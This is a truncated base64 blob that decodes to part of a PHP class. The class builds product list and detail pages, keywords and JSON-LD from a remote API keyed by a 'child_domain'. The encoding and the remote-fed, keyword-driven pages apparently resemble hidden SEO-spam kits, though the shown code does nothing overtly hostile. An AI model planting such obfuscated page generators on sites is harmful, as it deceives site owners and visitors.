nZXRDYXRlZ29yeSgpLCAkaHRtbCk7CgogICAgICAgIHJldHVybiAkaHRtbDsKICAgIH0KCiAgICAvKioKICAgICAqIFJlcGxhY2UgZGV0YWlsIGh0bWwKICAgICAqIEByZXR1cm4gc3RyaW5nfHN0cmluZ1tdfG51bGwKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHJlcGxhY2VEZXRhaWxIdG1sKCl7CiAgICAgICAgJHByb2R1Y3RJZCA9ICRfR0VUWydpJ107CiAgICAgICAgJGh0bWwgPSBmaWxlX2dldF9jb250ZW50cyhfX0RJUl9fIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdkZXRhaWwuaHRtbCcpOwoKICAgICAgICAkcHJvZHVjdCA9ICR0aGlzLT5nZXREZXRhaWwoJHByb2R1Y3RJZCwgc2VsZjo6REVGQVVMVF9QUk9EVUNUX1JFQ09NTUVORCk7CiAgICAgICAgJGRldGFpbEh0bWwgPSAkdGhpcy0+YnVpbGRQcm9kdWN0SHRtbCgkcHJvZHVjdFsnZGF0YSddLCAkcHJvZHVjdFsnbGlua3MnXSk7CiAgICAgICAgJHJlbGF0ZWRIdG1sID0gJHRoaXMtPmJ1aWxkTGlzdEh0bWwoWyRwcm9kdWN0WydyZWNvbW1lbmRzJ11dKTsKICAgICAgICAkanNvbklkSHRtbCA9ICR0aGlzLT5idWlsZEpzb25JZEh0bWwoJHByb2R1Y3RbJ2RhdGEnXSk7CiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2UoJy97e2RldGFpbF9icmVhZGNydW1ifX0vJywgJGRldGFpbEh0bWxbJ2JyZWFkY3J1bWJfaHRtbCddLCAkaHRtbCk7CiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2UoJy97e2RldGFpbF9wcm9kdWN0X2ltYWdlc319LycsICRkZXRhaWxIdG1sWydpbWFnZV9odG1sJ10sICRodG1sKTsKICAgICAgICAkaHRtbCA9IHByZWdfcmVwbGFjZSgnL3t7ZGV0YWlsX3Byb2R1Y3RfdGl0bGV9fS8nLCAkZGV0YWlsSHRtbFsndGl0bGVfaHRtbCddLCAkaHRtbCk7CiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2UoJy97e2RldGFpbF9wcm9kdWN0X3ByaWNlfX0vJywgJGRldGFpbEh0bWxbJ3ByaWNlX2h0bWwnXSwgJGh0bWwpOwogICAgICAgICRodG1sID0gcHJlZ19yZXBsYWNlKCcve3tkZXRhaWxfcHJvZHVjdF9tZXRhfX0vJywgJGRldGFpbEh0bWxbJ21ldGFfaHRtbCddLCAkaHRtbCk7CiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2UoJy97e2RldGFpbF9wcm9kdWN0X2Rlc2NyaXB0aW9ufX0vJywgJGRldGFpbEh0bWxbJ2Rlc2NyaXB0aW9uX2h0bWwnXSwgJGh0bWwpOwogICAgICAgICRodG1sID0gcHJlZ19yZXBsYWNlKCcve3tkZXRhaWxfcHJvZHVjdF9yZWxhdGVkfX0vJywgJHJlbGF0ZWRIdG1sWydsaXN0X2h0bWwnXSwgJGh0bWwpOwogICAgICAgICRodG1sID0gcHJlZ19yZXBsYWNlKCcve3tkZXRhaWxfanNvbl9sZH19LycsICRqc29uSWRIdG1sLCAkaHRtbCk7CgogICAgICAgICRodG1sID0gJHRoaXMtPnJlcGxhY2VFbGVtZW50c0h0bWwoJGh0bWwsICRwcm9kdWN0WydkYXRhJ11bJ2l0ZW1faWQnXSwgc2VsZjo6REVUQUlMX1BBR0VfUk9VVEVSX05BTUUsIFtdLCAkcHJvZHVjdFsnZGF0YSddKTsKICAgICAgICAkaHRtbCA9ICR0aGlzLT5yZXBsYWNlQ29tbW9uSHRtbCgkdGhpcy0+Z2V0Q2F0ZWdvcnkoKSwgJGh0bWwpOwoKICAgICAgICByZXR1cm4gJGh0bWw7CiAgICB9CgogICAgLyoqCiAgICAgKiBSZXBsYWNlIGVsZW1lbnRzIGh0bWwKICAgICAqIEBwYXJhbSAka2V5CiAgICAgKiBAcGFyYW0gJGh0bWwKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUKICAgICAqIEBwYXJhbSBhcnJheSAkbGlzdAogICAgICogQHBhcmFtIGFycmF5ICRwcm9kdWN0CiAgICAgKiBAcmV0dXJuIHN0cmluZ3xzdHJpbmdbXXxudWxsCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiByZXBsYWNlRWxlbWVudHNIdG1sKCRodG1sLCAka2V5ID0gJycsICR0eXBlID0gJycsICRsaXN0ID0gW10sICRwcm9kdWN0ID0gW10pewogICAgICAgICRlbGVtZW50c1RleHQgPSAkdGhpcy0+YnVpbGRFbGVtZW50c0h0bWwoJGtleSwgJHR5cGUsICRsaXN0LCAkcHJvZHVjdCk7CiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2UoJy97e3RpdGxlfX0vJywgJGVsZW1lbnRzVGV4dFsndGl0bGVfaHRtbCddLCAkaHRtbCk7CiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2UoJy97e2tleXdvcmRzfX0vJywgJGVsZW1lbnRzVGV4dFsna2V5d29yZHNfaHRtbCddLCAkaHRtbCk7CiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2UoJy97e2Rlc2NyaXB0aW9ufX0vJywgJGVsZW1lbnRzVGV4dFsnZGVzY3JpcHRpb25faHRtbCddLCAkaHRtbCk7CgogICAgICAgIHJldHVybiAkaHRtbDsKICAgIH0KCiAgICAvKiogR2V0IEhvdCBUb3BpY3MgSW5kZXggRGF0YQogICAgICogQHJldHVybiBhcnJheVtdCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gZ2V0SG90VG9waWNzSW5kZXgoKXsKICAgICAgICAkcmVzcG9uc2UgPSAkdGhpcy0+Y3VybEFwaSgKICAgICAgICAgICAgJHRoaXMtPmFwaVVybCAuIHNlbGY6OkhPVF9UT1BJQ1NfSU5ERVhfVVJMLAogICAgICAgICAgICBbJ2NoaWxkX2RvbWFpbicgPT4gJHRoaXMtPmRvbWFpbl0KICAgICAgICApOwogICAgICAgIGxpc3QoJGNhdGVnb3JpZXMsICRsaXN0KSA9IGFycmF5KFtdLCBbXSk7CiAgICAgICAgaWYoJHJlc3BvbnNlWydjb2RlJ10gPT0gMjAwICYmIGlzc2V0KCRyZXNwb25zZVsnZGF0YSddKSAmJiAhZW1wdHkoJHJlc3BvbnNlWydkYXRhJ10pKXsKICAgICAgICAgICAgJGluZGV4RGF0YSA9IGpzb25fZGVjb2RlKCRyZXNwb25zZVsnZGF0YSddLCB0cnVlKTsKICAgICAgICAgICAgZm9yZWFjaCAoJGluZGV4RGF0YVsnZGF0YSddIGFzICR2YWx1ZSl7CiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRjYXRlZ29yaWVzLCAkdmFsdWVbJ2NhdGVnb3J5J10pOwogICAgICAgICAgICAgICAgJGVuY29kZUlkID0gJHRoaXMtPnByb2Nlc3NSYXdJZCgic2t1IiAuICR2YWx1ZVsnY2F0ZWdvcnknXVsnaWQnXSk7CiAgICAgICAgICAgICAgICAkbGlzdFsieyR2YWx1ZVsnY2F0ZWdvcnknXVsnbmFtZSddfV97JGVuY29kZUlkfSJdID0gYXJyYXlfbWFwKGZ1bmN0aW9uICgkaXRlbSl7CiAgICAgICAgICAgICAgICAgICAgJHJhdGVQcmljZSA9ICR0aGlzLT5nZXREaXNjb3VudFByaWNlKCRpdGVtWydjdXJyZW50X3ByaWNlJ10pOwogICAgICAgICAgICAgICAgICAgIHJldHVybiBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJ3RpdGxlJyA9PiAkaXRlbVsndGl0bGUnXSwKICAgICAgICAgICAgICAgICAgICAgICAgJ2lkJyAgICA9PiAkdGhpcy0+cHJvY2Vzc1Jhd0lkKCJza3UiIC4gJGl0ZW1bJ2l0ZW1faWQnXSksCiAgICAgICAgICAgICAgICAgICAgICAgICd1cmwnICAgPT4gIHNlbGY6OkRFVEFJTF9QQUdFX1JPVVRFUl9OQU1FIC4gIi8iIC4gJHRoaXMtPnVybENvZGUodWN3b3JkcyhzdHJ0b2xvd2VyKCRpdGVtWyd0aXRsZSddKSkpIC4gIl8iIC4gJHRoaXMtPnByb2Nlc3NSYXdJZCgic2t1IiAuICRpdGVtWydpdGVtX2lkJ10pIC4gIi5odG1sIiwKICAgICAgICAgICAgICAgICAgICAgICAgJ2N1cnJlbmN5X3N5bWJvbCcgPT4gJHRoaXMtPmdldEN1cnJlbmN5U3ltYm9sKCRpdGVtWydjdXJyZW5jeV9pZCddKSwKICAgICAgICAgICAgICAgICAgICAgICAgJ2Rpc3BsYXlfcHJpY2UnID0+ICRyYXRlUHJpY2VbJ2Rpc3BsYXlfcHJpY2UnXSwKICAgICAgICAgICAgICAgICAgICAgICAgJ3Jhd19wcmljZScgPT4gJHJhdGVQcmljZVsncmF3X3ByaWNlJ10sCiAgICAgICAgICAgICAgICAgICAgICAgICdpbWFnZV9zcmMnID0+ICRpdGVtWydhbGJ1bSddLAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9LCAkdmFsdWVbJ2l0ZW1zJ10pOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJGxpc3Q7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgaW50ZXJmYWNlIHJlcXVlc3QgY2xhc3NpZmljYXRpb24gU3RvcmUgaW4gcmVkaXMgY2FjaGUgRXhwaXJlcyBpbiBoYWxmIGFuIGhvdXIgYnkgZGVmYXVsdAogICAgICogQHJldHVybiBzdHJpbmd8c3RyaW5nW118bnVsbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGdldENhdGVnb3J5KCkKICAgIHsKICAgICAgICAkY2F0ZWdvcnlMaXN0SnNvbiA9ICR0aGlzLT5nZXRDYWNoZShzZWxmOjpDQVRFR09SWV9GSUxFX05BTUUpOwogICAgICAgICRjYXRlZ29yeUxpc3QgPSBqc29uX2RlY29kZSgkY2F0ZWdvcnlMaXN0SnNvbiwgdHJ1ZSk7CiAgICAgICAgaWYgKCEkY2F0ZWdvcnlMaXN0IHx8ICFpc19hcnJheSgkY2F0ZWdvcnlMaXN0KSB8fCBlbXB0eSgkY2F0ZWdvcnlMaXN0KSB8fCB0aW1lKCkgLSAkY2F0ZWdvcnlMaXN0WydleHBpcmUnXSA+PSBzZWxmOjpDQUNIRV9FWFBJUkVfVElNRSkgewogICAgICAgICAgICAkcmVzcG9uc2UgPSAkdGhpcy0+Y3VybEFwaSgKICAgICAgICAgICAgICAgICR0aGlzLT5hcGlVcmwgLiBzZWxmOjpDQVRFR09SWV9VUkwsCiAgICAgICAgICAgICAgICBhcnJheSgnc3JjJyA9PiAkdGhpcy0+YXBpU3JjLCAnZXh0cmEnID0+ICR0aGlzLT5hcGlFeHRyYSwgJ2NoaWxkX2RvbWFpbicgPT4gJHRoaXMtPmRvbWFpbiksCiAgICAgICAgICAgICAgICBbIngtYXBwLWlkOiB7JHRoaXMtPmFwcElkfSJdCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGlmICgkcmVzcG9uc2VbJ2NvZGUnXSA9PSAyMDAgJiYgaXNzZXQoJHJlc3BvbnNlWydkYXRhJ10pICYmICFlbXB0eSgkcmVzcG9uc2VbJ2RhdGEnXSkpIHsKICAgICAgICAgICAgICAgICRjYXRlZ29yeUxpc3QgPSBqc29uX2RlY29kZSgkcmVzcG9uc2VbJ2RhdGEnXSwgdHJ1ZSk7CiAgICAgICAgICAgICAgICAkY2F0ZWdvcnlMaXN0WydleHBpcmUnXSA9IHRpbWUoKTsKICAgICAgICAgICAgICAgICR0aGlzLT5zZXRDYWNoZShzZWxmOjpDQVRFR09SWV9GSUxFX05BTUUsIGpzb25fZW5jb2RlKCRjYXRlZ29yeUxpc3QpKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRjYXRlZ29yeUxpc3QgPSBbXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkY2F0ZWdvcnlMaXN0ID0gYXJyYXlfbWFwKGZ1bmN0aW9uICgkaXRlbSkgewogICAgICAgICAgICAkaXRlbVsnY2F0ZWdvcnlfaWQnXSA9ICR0aGlzLT5wcm9jZXNzUmF3SWQoInNrdSIgLiAkaXRlbVsnY2F0ZWdvcnlfaWQnXSk7CiAgICAgICAgICAgIHJldHVybiAkaXRlbTsKICAgICAgICB9LCAkY2F0ZWdvcnlMaXN0WydkYXRhJ10pOwogICAgICAgIHJldHVybiAkY2F0ZWdvcnlMaXN0OwogICAgfQoKICAgIC8qKgogICAgICogR2V0IHByb2R1Y3QgbGlzdCBQcm9kdWN0IGxpc3Qgd2l0aCBzZWFyY2ggZnVuY3Rpb24KICAgICAqIEBwYXJhbSAkY2F0ZWdvcnlJZCBzdHJpbmcgY2F0ZWdvcnkgaWQgb3IgcHJvZHVjdCB0aXRsZQogICAgICogQHBhcmFtICRwYWdlTnVtIGludAogICAgICogQHBhcmFtICRwYWdlU2l6ZSBpbnQKICAgICAqIEByZXR1cm4gc3RyaW5nfHN0cmluZ1tdfG51bGwKICAgICAqLwogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZXRMaXN0KCRjYXRlZ29yeUlkLCAkcGFnZU51bSwgJHBhZ2VTaXplKXsKICAgICAgICAkY2FjaGVLZXkgPSAkY2F0ZWdvcnlJZDsKICAgICAgICAkcmVxdWVzdFsnY2F0ZWdvcnlfaWQnXSA9IHN0cl9yZXBsYWNlKFsnc2t1JywgJ2NhdCddLCAiIiwgJHRoaXMtPnByb2Nlc3NSYXdJZCgkY2F0ZWdvcnlJZCwgZmFsc2UpKTsKICAgICAgICAkdGhpcy0+dmVyaWZ5UHJvZHVjdElkKCRyZXF1ZXN0WydjYXRlZ29yeV9pZCddLCBzZWxmOjpWRVJJRllfQ0FURUdPUllfVFlQRSk7CgogICAgICAgICRyZXF1ZXN0WydwYWdlX3NpemUnXSA9IChpbnQpJHBhZ2VTaXplOwogICAgICAgICRyZXF1ZXN0WydwYWdlX251bSddID0gKGludCkkcGFnZU51bTsKICAgICAgICAkcmVxdWVzdFsnY2hpbGRfZG9tYWluJ10gPSAkdGhpcy0+ZG9tYWluOwogICAgICAgICRoZWFkZXIgPSBbXTsKICAgICAgICAkdXJsU3VmZml4ID0gc2VsZjo6SE9UX1RPUElDU19MSVNUX1VSTDsKCiAgICAgICAgaWYoISR0aGlzLT5pc0hvdFRvcGljcyl7CiAgICAgICAgICAgICRsaXN0SnNvbiA9ICR0aGlzLT5nZXRDYWNoZShzZWxmOjpIT01FX0ZJTEVfTElTVCwgWyRjYWNoZUtleSwgJHBhZ2VOdW0sICRwYWdlU2l6ZV0pOwogICAgICAgICAgICAkbGlzdCA9IGpzb25fZGVjb2RlKCRsaXN0SnNvbiwgdHJ1ZSk7CiAgICAgICAgICAgIGlmICgkbGlzdCAmJiBpc19hcnJheSgkbGlzdCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkbGlzdDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHJlcXVlc3RbJ3NyYyddID0gJHRoaXMtPmFwaVNyYzsKICAgICAgICAgICAgJHJlcXVlc3RbJ2V4dHJhJ10gPSAkdGhpcy0+YXBpRXh0cmE7CgogICAgICAgICAgICAkdXJsU3VmZml4ID0gc2VsZjo6UFJPRFVDVF9VUkw7CiAgICAgICAgICAgICRoZWFkZXIgPSBbIngtYXBwLWlkOiB7JHRoaXMtPmFwcElkfSJdOwogICAgICAgIH0KCiAgICAgICAgJHJlc3BvbnNlID0gJHRoaXMtPmN1cmxBcGkoCiAgICAgICAgICAgICR0aGlzLT5hcGlVcmwgLiAkdXJsU3VmZml4LAogICAgICAgICAgICAkcmVxdWVzdCwKICAgICAgICAgICAgJGhlYWRlcgogICAgICAgICk7CiAgICAgICAgJGxpc3QgPSBqc29uX2RlY29kZSgkcmVzcG9uc2VbJ2RhdGEnXSwgdHJ1ZSk7CgogICAgICAgICRpdGVtcyA9IFtdOwogICAgICAgIGZvcmVhY2ggKCRsaXN0WydkYXRhJ11bJ2l0ZW1zJ10gYXMgJHByb2R1Y3QpewogICAgICAgICAgICAkcmF0ZVByaWNlID0gJHRoaXMtPmdldERpc2NvdW50UHJpY2UoJHByb2R1Y3RbJ2N1cnJlbnRfcHJpY2UnXSk7CiAgICAgICAgICAgICRpdGVtc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAndGl0bGUnID0+ICRwcm9kdWN0Wyd0aXRsZSddLAogICAgICAgICAgICAgICAgJ2lkJyAgICA9PiAkdGhpcy0+cHJvY2Vzc1Jhd0lkKCJza3UiIC4gJHByb2R1Y3RbJ2l0ZW1faWQnXSksCiAgICAgICAgICAgICAgICAndXJsJyAgID0+ICBzZWxmOjpERVRBSUxfUEFHRV9ST1VURVJfTkFNRSAuICIvIiAuICR0aGlzLT51cmxDb2RlKHVjd29yZHMoc3RydG9sb3dlcigkcHJvZHVjdFsndGl0bGUnXSkpKSAuICJfIiAuICR0aGlzLT5wcm9jZXNzUmF3SWQoInNrdSIgLiAkcHJvZHVjdFsnaXRlbV9pZCddKSAuICIuaHRtbCIsCiAgICAgICAgICAgICAgICAnY3VycmVuY3lfc3ltYm9sJyA9PiAkdGhpcy0+Z2V0Q3VycmVuY3lTeW1ib2woJHByb2R1Y3RbJ2N1cnJlbmN5X2lkJ10pLAogICAgICAgICAgICAgICAgJ2Rpc3BsYXlfcHJpY2UnID0+ICRyYXRlUHJpY2VbJ2Rpc3BsYXlfcHJpY2UnXSwKICAgICAgICAgICAgICAgICdyYXdfcHJpY2UnID0+ICRyYXRlUHJpY2VbJ3Jhd19wcmljZSddLAogICAgICAgICAgICAgICAgJ2ltYWdlX3NyYycgPT4gJHByb2R1Y3RbJ2FsYnVtJ10sCiAgICAgICAgICAgICk7CiAgICAgICAgfQoKICAgICAgICAkaXRlbXNbJ2tleSddID0gInskcmVxdWVzdFsnY2F0ZWdvcnlfaWQnXX18eyRwYWdlTnVtfXx7JHBhZ2VTaXplfSI7CiAgICAgICAgcmV0dXJuICRpdGVtczsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCBwcm9kdWN0IGRldGFpbHMgaW5mb3JtYXRpb24KICAgICAqIEBwYXJhbSAkaXRlbUlkCiAgICAgKiBAcGFyYW0gJHJlY29tbWVuZAogICAgICogQHJldHVybiBzdHJpbmd8c3RyaW5nW118bnVsbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGdldERldGFpbCgkaXRlbUlkLCAkcmVjb21tZW5kKXsKICAgICAgICAkY2FjaGVLZXkgPSAkaXRlbUlkOwogICAgICAgICRpdGVtSWQgPSBzdHJfcmVwbGFjZShbJ3NrdScsICdjYXQnXSwgIiIsIHNlbGY6OnByb2Nlc3NSYXdJZCgkaXRlbUlkLCBmYWxzZSkpOwogICAgICAgIHNlbGY6OnZlcmlmeVByb2R1Y3RJZCgkaXRlbUlkLCBzZWxmOjpWRVJJRllfUFJPRFVDVF9UWVBFKTsKCiAgICAgICAgJHJlcXVlc3RbJ2l0ZW1faWQnXSA9IChzdHJpbmcpJGl0ZW1JZDsKICAgICAgICAkcmVxdWVzdFsncmVjb21tZW5kJ10gPSAkcmVjb21tZW5kOwogICAgICAgICRyZXF1ZXN0WydjaGlsZF9kb21haW4nXSA9ICR0aGlzLT5kb21haW47CiAgICAgICAgJGhlYWRlciA9IFtdOwogICAgICAgICR1cmxTdWZmaXggPSBzZWxmOjpIT1RfVE9QSUNTX0RFVEFJTF9VUkw7CgogICAgICAgIGlmKCEkdGhpcy0+aXNIb3RUb3BpY3MpewogICAgICAgICAgICAkZGV0YWlsSnNvbiA9ICR0aGlzLT5nZXRDYWNoZShzZWxmOjpIT01FX0ZJTEVfREVUQUlMLCBbJGNhY2hlS2V5XSk7CiAgICAgICAgICAgICRkZXRhaWwgPSBqc29uX2RlY29kZSgkZGV0YWlsSnNvbiwgdHJ1ZSk7CiAgICAgICAgICAgIGlmICgkZGV0YWlsICYmIGlzX2FycmF5KCRkZXRhaWwpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJGRldGFpbDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHJlcXVlc3RbJ3NyYyddID0gJHRoaXMtPmFwaVNyYzsKICAgICAgICAgICAgJHJlcXVlc3RbJ2V4dHJhJ10gPSAkdGhpcy0+YXBpRXh0cmE7CiAgICAgICAgICAgICRyZXF1ZXN0Wydkb21haW5faWQnXSA9ICR0aGlzLT5kb21haW5JZDsKICAgICAgICAgICAgJHJlcXVlc3RbJ3BhdGgnXSA9ICJ7JHRoaXMtPmdldENvbXBsZXRlUm91dGUoKX0vIjsKICAgICAgICAgICAgJHJlcXVlc3RbJ3BhYXMnXSA9IDE7CgogICAgICAgICAgICAkaGVhZGVyID0gWyJ4LWFwcC1pZDp7JHRoaXMtPmFwcElkfSJdOwogICAgICAgICAgICAkdXJsU3VmZml4ID0gc2VsZjo6REVUQUlMX1VSTDsKICAgICAgICB9CgogICAgICAgICRyZXNwb25zZSA9ICR0aGlzLT5jdXJsQXBpKAogICAgICAgICAgICAkdGhpcy0+YXBpVXJsIC4gJHVybFN1ZmZpeCwKICAgICAgICAgICAgJHJlcXVlc3QsCiAgICAgICAgICAgICRoZWFkZXIKICAgICAgICApOwoKICAgICAgICAkcHJvZHVjdCA9IGpzb25fZGVjb2RlKCRyZXNwb25zZVsnZGF0YSddLCB0cnVlKTsKCiAgICAgICAgJHByb2R1Y3RbJ3JlY29tbWVuZHMnXSA9IGFycmF5X21hcChmdW5jdGlvbiAoJHJlY29tbWVuZCl7CiAgICAgICAgICAgICRyYXRlUHJpY2UgPSAkdGhpcy0+Z2V0RGlzY291bnRQcmljZSgkcmVjb21tZW5kWydjdXJyZW50X3ByaWNlJ10pOwogICAgICAgICAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgICAgICAgICAndGl0bGUnID0+ICRyZWNvbW1lbmRbJ3RpdGxlJ10sCiAgICAgICAgICAgICAgICAnaWQnICAgID0+ICR0aGlzLT5wcm9jZXNzUmF3SWQoInNrdSIgLiAkcmVjb21tZW5kWydpdGVtX2lkJ10pLAogICAgICAgICAgICAgICAgJ3VybCcgICA9PiAgc2VsZjo6REVUQUlMX1BBR0VfUk9VVEVSX05BTUUgLiAiLyIgLiAkdGhpcy0+dXJsQ29kZSh1Y3dvcmRzKHN0cnRvbG93ZXIoJHJlY29tbWVuZFsndGl0bGUnXSkpKSAuICJfIiAuICR0aGlzLT5wcm9jZXNzUmF3SWQoInNrdSIgLiAkcmVjb21tZW5kWydpdGVtX2lkJ10pIC4gIi5odG1sIiwKICAgICAgICAgICAgICAgICdjdXJyZW5jeV9zeW1ib2wnID0+ICR0aGlzLT5nZXRDdXJyZW5jeVN5bWJvbCgkcmVjb21tZW5kWydjdXJyZW5jeV9pZCddKSwKICAgICAgICAgICAgICAgICdkaXNwbGF5X3ByaWNlJyA9PiAkcmF0ZVByaWNlWydkaXNwbGF5X3ByaWNlJ10sCiAgICAgICAgICAgICAgICAncmF3X3ByaWNlJyA9PiAkcmF0ZVByaWNlWydyYXdfcHJpY2UnXSwKICAgICAgICAgICAgICAgICdpbWFnZV9zcmMnID0+ICRyZWNvbW1lbmRbJ2FsYnVtJ10sCgogICAgICAgICAgICApOwogICAgICAgIH0sJHByb2R1Y3RbJ3JlY29tbWVuZHMnXSk7CgogICAgICAgIHJldHVybiAkcHJvZHVjdDsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCB0aGUgc2Vjb25kYXJ5IGNsYXNzaWZpY2F0aW9uIGxpc3QKICAgICAqIEBwYXJhbSAkY2F0ZWdvcnlJZAogICAgICogQHJldHVybiBzdHJpbmd8c3RyaW5nW118bnVsbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGdldFN1Ykxpc3QoJGNhdGVnb3J5SWQpewogICAgICAgICRzdWJMaXN0SnNvbiA9ICR0aGlzLT5nZXRDYWNoZShzZWxmOjpIT01FX0ZJTEVfU1VCLCBbJGNhdGVnb3J5SWRdKTsKICAgICAgICAkc3ViTGlzdCA9IGpzb25fZGVjb2RlKCRzdWJMaXN0SnNvbiwgdHJ1ZSk7CiAgICAgICAgaWYgKCRzdWJMaXN0ICYmIGlzX2FycmF5KCRzdWJMaXN0KSkgewogICAgICAgICAgICByZXR1cm4gJHN1Ykxpc3Q7CiAgICAgICAgfQogICAgICAgICRjYXRlZ29yeUlkID0gc3RyX3JlcGxhY2UoWydza3UnLCAnY2F0J10sICIiLCAkdGhpcy0+cHJvY2Vzc1Jhd0lkKCRjYXRlZ29yeUlkLCBmYWxzZSkpOwogICAgICAgICR0aGlzLT52ZXJpZnlQcm9kdWN0SWQoJGNhdGVnb3J5SWQsICJjYXRlZ29yeV9pZCIpOwogICAgICAgICRyZXNwb25zZSA9ICR0aGlzLT5jdXJsQXBpKAogICAgICAgICAgICAkdGhpcy0+YXBpVXJsIC4gc2VsZjo6U1VCX1VSTCwKICAgICAgICAgICAgYXJyYXkoCiAgICAgICAgICAgICAgICAnc3JjJyA9PiAkdGhpcy0+YXBpU3JjLAogICAgICAgICAgICAgICAgJ2V4dHJhJyA9PiAkdGhpcy0+YXBpRXh0cmEsCiAgICAgICAgICAgICAgICAiY2F0ZWdvcnlfaWQiID0+ICRjYXRlZ29yeUlkLAogICAgICAgICAgICAgICAgJ2NoaWxkX2RvbWFpbicgPT4gJHRoaXMtPmRvbWFpbiwKICAgICAgICAgICAgKSwKICAgICAgICAgICAgWyJ4LWFwcC1pZDp7JHRoaXMtPmFwcElkfSJdCiAgICAgICAgKTsKICAgICAgICAkc3ViQ2F0ZWdvcnkgPSBqc29uX2RlY29kZSgkcmVzcG9uc2VbJ2RhdGEnXSwgdHJ1ZSk7CiAgICAgICAgcmV0dXJuICRzdWJDYXRlZ29yeVsnZGF0YSddOwogICAgfQoKICAgIC8qKgogICAgICogR2V0IHJhbmRvbSB3b3JkcwogICAgICogQHBhcmFtICRrZXkKICAgICAqIEByZXR1cm4gbWl4ZWR8c3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRSYW5kb21LZXlXb3Jkcygka2V5KXsKICAgICAgICAkcmFuZG9tS2V5d29yZHNKc29uID0gJHRoaXMtPmdldENhY2hlKHNlbGY6OlJBTkRPTV9LRVlXT1JEU19GSUxFX05BTUUsIFska2V5XSk7CiAgICAgICAgJHJhbmRvbUtleXdvcmRzQXJyID0ganNvbl9kZWNvZGUoJHJhbmRvbUtleXdvcmRzSnNvbiwgdHJ1ZSk7CiAgICAgICAgaWYoISRyYW5kb21LZXl3b3Jkc0Fyclska2V5XSB8fCBpc19hcnJheSgkcmFuZG9tS2V5d29yZHNBcnIpIHx8IGVtcHR5KCRyYW5kb21LZXl3b3Jkc0FycikgfHwgdGltZSgpIC0gJHJhbmRvbUtleXdvcmRzQXJyWydleHBpcmUnXSA+IHNlbGY6OkNBQ0hFX0VYUElSRV9USU1FKXsKICAgICAgICAgICAgJHJlc3BvbnNlID0gJHRoaXMtPmN1cmxBcGkoCiAgICAgICAgICAgICAgICAkdGhpcy0+YXBpVXJsIC4gc2VsZjo6UkFORE9NX0tFWVdPUkRTX1VSTCwKICAgICAgICAgICAgICAgIGFycmF5KAogICAgICAgICAgICAgICAgICAgICdrZXknID0+ICRrZXkgPyAieyR0aGlzLT5kb21haW59fHska2V5fSIgOiAkdGhpcy0+ZG9tYWluLAogICAgICAgICAgICAgICAgKQogICAgICAgICAgICApOwogICAgICAgICAgICAkcmFuZG9tS2V5d29yZHMgPSBqc29uX2RlY29kZSgkcmVzcG9uc2VbJ2RhdGEnXSwgdHJ1ZSk7CiAgICAgICAgICAgIGlmICgkcmFuZG9tS2V5d29yZHNbJ2RhdGEnXSkgewogICAgICAgICAgICAgICAgJHJhbmRvbUtleXdvcmRzID0gJHJhbmRvbUtleXdvcmRzWydkYXRhJ107CiAgICAgICAgICAgICAgICAkY2FjaGVSYW5kb21LZXl3b3Jkc0FyciA9IChpc19hcnJheSgkcmFuZG9tS2V5d29yZHNBcnIpICYmICFlbXB0eSgkcmFuZG9tS2V5d29yZHNBcnIpKSA/ICRyYW5kb21LZXl3b3Jkc0FyciArIFska2V5ID0+ICRyYW5kb21LZXl3b3Jkc10gOiBbJGtleSA9PiAkcmFuZG9tS2V5d29yZHMsICdleHBpcmUnID0+IHRpbWUoKV07CiAgICAgICAgICAgICAgICAkdGhpcy0+c2V0Q2FjaGUoc2VsZjo6UkFORE9NX0tFWVdPUkRTX0ZJTEVfTkFNRSwganNvbl9lbmNvZGUoJGNhY2hlUmFuZG9tS2V5d29yZHNBcnIpLCBbJGtleV0pOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHJhbmRvbUtleXdvcmRzID0gW107CiAgICAgICAgICAgIH0KICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgJHJhbmRvbUtleXdvcmRzID0gJHJhbmRvbUtleXdvcmRzQXJyWyRrZXldOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJhbmRvbUtleXdvcmRzOwogICAgfQoKICAgIC8qKgogICAgICogQ3VybCBhcGkKICAgICAqIEBwYXJhbSAkdXJsCiAgICAgKiBAcGFyYW0gYXJyYXkgJHJlcXVlc3QKICAgICAqIEBwYXJhbSBzdHJpbmcgJG1ldGhvZAogICAgICogQHBhcmFtIGFycmF5ICRoZWFkZXIKICAgICAqIEByZXR1cm4gYXJyYXl8Ym9vbHxzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZpbmFsIGZ1bmN0a